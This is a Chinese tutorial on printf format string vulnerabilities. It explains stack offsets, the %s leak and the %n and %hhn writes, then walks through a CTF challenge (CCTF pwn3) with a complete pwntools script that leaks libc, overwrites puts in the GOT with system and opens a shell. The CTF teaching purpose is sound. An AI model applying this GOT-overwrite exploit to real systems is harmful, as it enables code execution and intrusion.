printf格式化漏洞

1. 格式化字符串漏洞基本原理

格式化字符串漏洞在通用漏洞类型库CWE中的编号是134,其解释为“软件使用了格式化字符串作为参数,且该格式化字符串来自外部输入”。会触发该漏洞的函数很有限,主要就是printf、sprintf、fprintf等print家族函数。

介绍格式化字符串原理的文章有很多,我这里就以printf函数为例,简单回顾其中的要点。

printf("format_string", arg1, arg2, ...)

其第一个参数为格式化字符串,用来告诉程序以什么格式进行输出!然后是参数1(偏移1),参数2(偏移2),...

下面是详细的说明图:

printf_stack2.png

2. 格式化漏洞测试

对于下面的程序

1
2
3
4
5
6
7
#include <stdio.h>
int main(){
char s[8] = "%6$x1234";
printf(s,1,2);
return 0;
}

gdb调试该程序,然后展示栈内容,得到如下图:

stack_value

打印结果:

343332311234

格式化字符串 一文中,我们讲道n\$表示第n个参数

1
2
3
printf("%2$d %2$#x; %1$d %1$#x",16,17)
产生"17 0x11; 16 0x10"
一般而言,格式化字符串是第0个参数!
说明:
A、6\$ 表示栈空间从format string后第一个参数算起,偏移量为6的那个栈位置。

- 在上图中偏移0(格式化字符串)对应的是地址0xffffcef0,而其存放格式化串的栈地址是0xffffcf04;
- 偏移为6的地址为0xffffcf08,值为0x34333231("1234")

B、如果将上面的format换成%6\$s1234,那么就相当于打印地址0x34333231处的字符串。而如果此处为funA@got地址,那么输出的字符串就会是funA的funA@plt
C、若输入“%2214c%6\$hn”,其中,2214是0x8a6的10进制

- %2214c输出2214(0x2214)个字符
- %6\$hn表示将前面输出的字符数(即2214)写入到偏移8处值所指向的内容的低两字节处,即修改$[0x34333231]_{low-2bytes}=0x08a6$ 。假设[0x34333231]=0x88888888,此时就会变为0x888808a6
- 但是若用n来将[0x34333231]修改为0x888808a6,则%2214c需改为%2290616486c。表示输出2290616486个字符,开销太大,特别是在远程攻击时,所以很可能会导致程序崩溃或等候时间过长。

3.基本的格式化字符串参数

  • %c:输出字符,配上%n可用于向指定地址写数据。
  • %d:输出十进制整数,配上%n可用于向指定地址写数据。
  • %x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。
  • %p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。
  • %s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。
  • %n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100x%10\$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%\$hn表示写入的地址空间为2字节,%\$hhn表示写入的地址空间为1字节,%\$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%\$hn或%\$hhn来适时调整。
  • %n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据
下面的结论是我最近的发现,是在调试逐渐加深理解的。printf("1234%n"):[偏移1]=4。也即修改的其实是栈上保存的地址中的值。如下图所示:

printf_stack3.png

格式化字符串漏洞发生在栈中,利用方式以下几种:

  1. 修改变量的值,绕过认证
  2. 覆写GOT表
  3. 修改栈中保存的返回地址
需要注意的是,上述改写操作需要栈上保存相应地址,如果变量buf保存在栈上,我们就可以在栈上写入任意地址,并进行修改。若格式化字符串buf存储在堆中,也就是说我们输入的内容不会出现在栈里,那就不能通过向栈中写入地址的方式进行攻击,不过可以利用栈中已有的值进行攻击。

小技巧总结

  1. 利用%x来获取对应栈的内存,但建议使用%p,可以不用考虑位数的区别。
  2. 利用%s来获取变量所对应地址的内容,只不过有零截断。
  3. 利用%order\$x来获取指定参数的值,利用%order\$s来获取指定参数对应地址的内容。

4. 实验测试

4.1 CCTF-pwn3

本题只有NX一个安全措施,且为32位程序。

通过IDA逆向及初步调试,可以知道以下两点。

用户名是“sysbdmin”字符串中每个字母的ascii码减1,即rxraclhm;

在打印(即get功能,sub_080487F6函数)put(本程序功能,不是libc的puts)上去的文件内容时存在格式化字符串漏洞,且格式化字符串保存在栈中,偏移为7。

主要利用思路就是先通过格式化字符串漏洞泄露出libc版本,从而得到system函数调用地址;然后将该地址写到puts函数GOT表项中,由于程序dir功能会调用puts,且调用参数是用户可控的,故当我们以“/bin/sh”作为参数调用puts(也就是dir功能)时,其实就是以“/bin/sh”为参数调用system,也就实现了getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# -*- coding: utf-8 -*-
#/usr/bin/env python
from pwn import *
elf = ELF('pwn3')
libc = ELF('/lib32/libc.so.6')
plt_puts = elf.symbols['puts']
print 'plt_puts= ' + hex(plt_puts)
got_puts = elf.got['puts']
print 'got_puts= ' + hex(got_puts)
p = process('./pwn3')
username = 'rxraclhm'
def put(pr, name, content):
pr.recvuntil("ftp>")
pr.sendline('put')
pr.recvuntil("upload:")
pr.sendline(name)
pr.recvuntil("content:")
pr.sendline(content)
def get(pr, name, num):
pr.recvuntil("ftp>")
pr.sendline('get')
pr.recvuntil('get:')
pr.sendline(name)
return pr.recvn(num)
def dir(pr):
pr.recvuntil("ftp>")
pr.sendline('dir')
def edit_func(name, address, num):
num = num & 0xff
if num == 0 : num == 0x100
payload = '%' + str(num) + 'c%10$hhn'
payload = payload.ljust(12, 'A')
put(p, name, payload + p32(address))
get(p, name, 0)
def main():
'''
gdb.attach(p, """
B * 0x080488A4
""")
'''
p.readuntil("Name (ftp.hacker.server:Rainism):")
p.sendline(username)
put(p, "/sh", "%8$s"+p32(got_puts))
text = get(p, "/sh", 4)
puts_addr = u32(text)
print 'puts_addr= ' + hex(puts_addr)
system_addr = puts_addr - (libc.symbols['puts'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)
edit_func('n', got_puts, system_addr)
edit_func('i', got_puts+1, system_addr>>8)
edit_func('b', got_puts+2, system_addr>>16)
edit_func('/', got_puts+3, system_addr>>24)
dir(p)
p.interactive()
pass
if __name__ == '__main__':
main()

代码写的有点冗余,但主要的思路还是比较清晰:

leak system_addr => write system_addr to puts@got => concat the /bin/sh => system('/bin/sh')

题目算是没什么坑的fmt的题,个人觉得这些题还是有以下解题技巧:

1.函数封装的好,能够节省很多时间;

2.使用%10$x这样的形式确定参数的偏移,使用%10\$s这样的形式泄露特定地址数据,使用%c %n的组合拳来改写数据;

3.尽量使用%hn和%hhn,避免过多的返回;

4.最好在每次使用%n修改地址后,使用%s去确认一下修改是否成功,对于新手而言能节省大量的时间。